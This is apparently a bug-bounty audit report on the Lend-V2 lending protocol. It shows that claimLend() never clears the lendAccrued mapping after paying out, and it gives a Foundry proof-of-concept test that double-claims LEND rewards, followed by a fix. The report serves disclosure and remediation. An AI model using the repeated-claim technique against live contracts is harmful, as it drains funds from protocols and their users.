Scrawny Red Sloth

High

# `claimLend()` fails to reset `lendAccrued` mapping resulting in token theft

### Summary

During borrows and supply, users gets lend tokens accrued for them based on index deltas on subsequent operations. These lend tokens can later be claimed via the `claimLend()` function. However, the `lendAccrued` mapping used to track these tokens is left unreset after claim.


### Root Cause

During borrows and supply, the `lendAccrued` is updated for users as follows:
[`distributeSupplierLend()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L333-L334):
```solidity
        uint256 supplierAccrued = add_(lendAccrued[supplier], supplierDelta);
        lendAccrued[supplier] = supplierAccrued;
```
[`distributeBorrowerLend()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L373-L374):
```solidity
        uint256 borrowerAccrued = add_(lendAccrued[borrower], borrowerDelta);
        lendAccrued[borrower] = borrowerAccrued;
```

These can later be [claimed as follows](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L399-L407) in `claimLend()`:
```solidity
        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
                grantLendInternal(holders[j], accrued);
            }
            unchecked {
                ++j;
            }
        }
```
Notice that if the holder has positive balance, the function internally calls [`grantLendInternal()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L420-L423):
```solidity
    function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
        address lendAddress = LendtrollerInterfaceV2(lendtroller).getLendAddress();
        uint256 lendBalance = IERC20(lendAddress).balanceOf(address(this));

        if (amount > 0 && amount <= lendBalance) {
>>          // @audit fails to clear mapping before transfer
            IERC20(lendAddress).safeTransfer(user, amount);
            return 0;
        }
        return amount;
    }
```
However as seen these tokens are distributed yet the mapping remain unmodified. 


### Internal Pre-conditions

1. User has accrued lend tokens
2. Mapping is not reset during claim


### External Pre-conditions

1. User attempts to claim their accrued lend tokens


### Attack Path

1. User attempts to claim their accrued lend tokens
2. Mapping remain unchanged
3. User calls `claimLend()` recursively stealling tokens


### Impact

Users manage to claim tokens beyond what they have accrued so far thereby stealing from the protocol.


### PoC

1. Add the folloing test in `test/mocks/TestLendAccrual.t.sol`:
```solidity
    function test_claimLend_leaves_lendAccrued_unupdated_resulting_in_token_theft() public {
        // Supply tokens with two users
        uint256 supplyAmount = 1000e18;
        (, address lToken) = _supply(supplyAmount, user2);
        _supply(supplyAmount, user1);

        // Advance time
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Get initial LEND token balance
        address lendToken = lendtroller.getLendAddress();
        uint256 initialBalance = IERC20(lendToken).balanceOf(user1);

        // Record accrued LEND before claiming
        vm.startPrank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);

        // first claim
        coreRouter.claimLend(holders, lTokenArray, false, true);

        uint256 lendAccrued = lendStorage.lendAccrued(user1);

        uint256 currentBalance = IERC20(lendToken).balanceOf(user1);

        // Verify claimed amount matches accrued amount
        assertEq(currentBalance - initialBalance, lendAccrued);

        // second claim immediately
        coreRouter.claimLend(holders, lTokenArray, false, true);

        uint256 finalBalance = IERC20(lendToken).balanceOf(user1);

        // assert user has twice the balance
        assertEq(finalBalance, 2 * currentBalance);
        vm.stopPrank();
    }
```
2. Run: `forge test --mt test_claimLend_leaves_lendAccrued_unupdated_resulting_in_token_theft -vvvv`


### Mitigation

Modify as follows:
```diff
    function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
        address lendAddress = LendtrollerInterfaceV2(lendtroller).getLendAddress();
        uint256 lendBalance = IERC20(lendAddress).balanceOf(address(this));

        if (amount > 0 && amount <= lendBalance) {
            // Clear the accrued amount for this user
+           lendStorage.clearAccrued(user); // You'll need to implement this function
            IERC20(lendAddress).safeTransfer(user, amount);
            return 0;
        }
        return amount;
    }
```